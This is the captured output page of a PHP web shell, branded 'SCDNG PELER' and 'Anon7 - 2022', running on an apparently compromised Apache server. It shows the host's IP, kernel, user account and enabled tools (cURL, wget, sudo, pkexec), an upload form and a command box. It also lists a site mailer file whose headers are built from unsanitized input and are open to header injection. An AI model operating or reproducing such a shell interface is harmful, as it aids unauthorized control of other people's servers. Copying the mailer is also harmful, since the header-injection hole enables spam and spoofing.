SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.145.61.142
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/phplib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www/phplib/functions.mailer.php
<?php 
function DiMail($Subject, $Body_Text, $Body_HTML, $From, $FromName, $To, $Cc = "", $Bcc = "", $MailType='H', $Attachments = "", $ReplyTo="", $ReturnPath="",   $CustomHeader="")
{	
	$mime_boundary = "<<<--==+X[".md5(time())."]";
	
	$headers ="MIME-Version: 1.0\n"; 
	$headers.="From: $FromName<$From>\n";
	$headers.="Reply-To: $ReplyTo\n"; 
	$headers.="Return-Path: $ReturnPath\n";
	
	if ($Bcc)
	{	if (is_array($Bcc))
		{	
			foreach($Bcc as $bcc_email=>$bcc_name)
			{	$BCC_ADDRESS = "$bcc_name<$bcc_email>";
				$headers.="Bcc: $BCC_ADDRESS\n";
			}
		}		
	}

	if ($Cc)
	{	if (is_array($Cc))
		{	foreach($Cc as $cc_email=>$cc_name)
			{	$CC_ADDRESS = "$cc_name<$cc_email>";
				$headers.="Cc: $CC_ADDRESS\n";
			}
		}		
	}

	

	$headers.="X-Priority: 1\n"; 
	$headers.="X-MSMail-Priority: High\n"; 
	$headers.="X-Mailer: MyMailer\n"; 
	$headers.= "Content-Type: multipart/mixed;\n";
	$headers.= " boundary=\"".$mime_boundary."\"\n\n";

	if ($MailType == 'T')
	{		$message = "--".$mime_boundary."\n";
			$message .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
			$message .= "Content-Transfer-Encoding: 7bit\n";
			$message .= "\n";
			$message .= $Body_Text;
			$message .= "\n";
			//$message .= "--".$mime_boundary."\n";
	}
	else
	{		$message = "--".$mime_boundary."\n";
			$message .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";
			$message .= "Content-Transfer-Encoding: base64\n\n";
			$message .= "\n";
			$message .= chunk_split(base64_encode($Body_HTML));
			$message .= "\n";
			//$message .= "--".$mime_boundary."\n";
	}

	



	if ($Attachments)
	{	foreach($Attachments as $AFile)
		{	if (file_exists($AFile))
			{	if (is_file($AFile))
				{	$fd = fopen ($AFile, "r");
					$FILE_CONTENTS = fread ($fd, filesize($AFile));
					fclose ($fd);	
					$FILE_CONTENTS=chunk_split(base64_encode($FILE_CONTENTS));
					
					if ($FILE_CONTENTS)
					{	$F = explode("/", $AFile);
						$f_name = $F[count($F)-1];												
						$message .= "--".$mime_boundary."\n";
						$message .= "Content-Type: application/octet-stream;\n"; // For other data
						$message .= " name=\"$f_name\"\n";
						$message .= "Content-Disposition: attachment; filename=\"$f_name\"\n";
						$message .= "Content-transfer-encoding: base64\n\n";
						$message .= "\n";
						$message .=$FILE_CONTENTS;
						$message .= "\n";
						$message .= "--".$mime_boundary."\n\n";
					}
				}
			}
		}
	}

	if ($To)
	{	if (is_array($To))
		{	foreach($To as $To_email=>$To_name)
			{	  mail("$To_name<$To_email>",$Subject,$message,$headers); 
			}
		}		
	}

	return true;
		 
}

Anon7 - 2022
SCDN GOK